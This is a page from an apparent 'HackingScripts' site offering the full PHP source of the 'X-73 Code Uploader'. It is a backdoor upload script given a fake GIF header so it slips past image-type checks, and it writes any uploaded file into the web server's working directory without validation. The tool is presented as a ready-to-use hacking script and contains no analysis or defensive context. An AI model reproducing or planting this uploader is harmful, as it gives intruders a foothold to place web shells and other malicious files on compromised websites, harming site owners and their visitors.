HackingScripts

Hack Scripts for everybody

X-73 Code Uploader

14 Feb 2014

–==@[– X-73 CODE UPLOADER –]==–

X-73 Code Uploader Source Code

 1 GIF89;a
 2 <?php
 3     $myUpload = new maxUpload(); 
 4     //$myUpload->setUploadLocation(getcwd().DIRECTORY_SEPARATOR);
 5     $myUpload->uploadFile();
 6 ?>
 7 <?php
 8 class maxUpload{
 9     var $uploadLocation;
10     
11     /**
12      * Constructor to initialize class varaibles
13      * The uploadLocation will be set to the actual 
14      * working directory
15      *
16      * @return maxUpload
17      */
18     function maxUpload(){
19         $this->uploadLocation = getcwd().DIRECTORY_SEPARATOR;
20     }
21 
22     /**
23      * This function sets the directory where to upload the file
24      * In case of Windows server use the form: c:\\temp\\
25      * In case of Unix server use the form: /tmp/
26      *
27      * @param String Directory where to store the files
28      */
29     function setUploadLocation($dir){
30         $this->uploadLocation = $dir;
31     }
32     
33     function showUploadForm($msg='',$error=''){
34 ?>
35        <div id="container">
36             <div id="header"><div id="header_left"></div>
37             <div id="header_main">SUL-BAR LINK<div id="header_right"></div></div>
38             <div id="content">
39 <?php
40 if ($msg != ''){
41     echo '<p class="msg">'.$msg.'</p>';
42 } else if ($error != ''){
43     echo '<p class="emsg">'.$error.'</p>';
44 
45 }
46 ?>
47 <body bgcolor="#000000"><center><div style="background-image:url(''); width="1040" height="710" class="shakeimage" onMouseOver="init(this);rattleimage()" onMouseOut="stoprattle(this);top.focus()" onClick="top.focus()" alt="" border="0"><br><div
48 id="example1"></div><p id="example2"><font face="Papyrus"; color="red"; size="6"><br>--==@[-- X-73 CODE UPLOADER --]==--
49 
50                 <form action="" method="post" enctype="multipart/form-data" >
51                      <center>
52                          <label>File:
53                              <input name="myfile" type="file" size="30" />
54                          </label>
55                          <label>
56                              <input type="submit" name="submitBtn" class="sbtn" value="Upload" />
57                          </label>
58                      </center>
59                  </form>
60              </div>
61              <div id="footer"><a href="http://www.sekedar-online.com" target="_blank">Sulbar-Link</a></div>
62          </div>
63 <?php
64     }
65 
66     function uploadFile(){
67         if (!isset($_POST['submitBtn'])){
68             $this->showUploadForm();
69         } else {
70             $msg = '';
71             $error = '';
72             
73             //Check destination directory
74             if (!file_exists($this->uploadLocation)){
75                 $error = "The target directory doesn't exists!";
76             } else if (!is_writeable($this->uploadLocation)) {
77                 $error = "The target directory is not writeable!";
78             } else {
79                 $target_path = $this->uploadLocation . basename( $_FILES['myfile']['name']);
80 
81                 if(@move_uploaded_file($_FILES['myfile']['tmp_name'], $target_path)) {
82                     $msg = basename( $_FILES['myfile']['name']).
83                     " File anda sukses di Upload!";
84                 } else{
85                     $error = "Proses Upload terganggu!";
86                 }
87             }
88 
89             $this->showUploadForm($msg,$error);
90         }
91 
92     }
93 
94 }
95 ?>

X-73 Code Uploader screenshot

X-73 code uploader screenshot

X-73 code uploader screenshot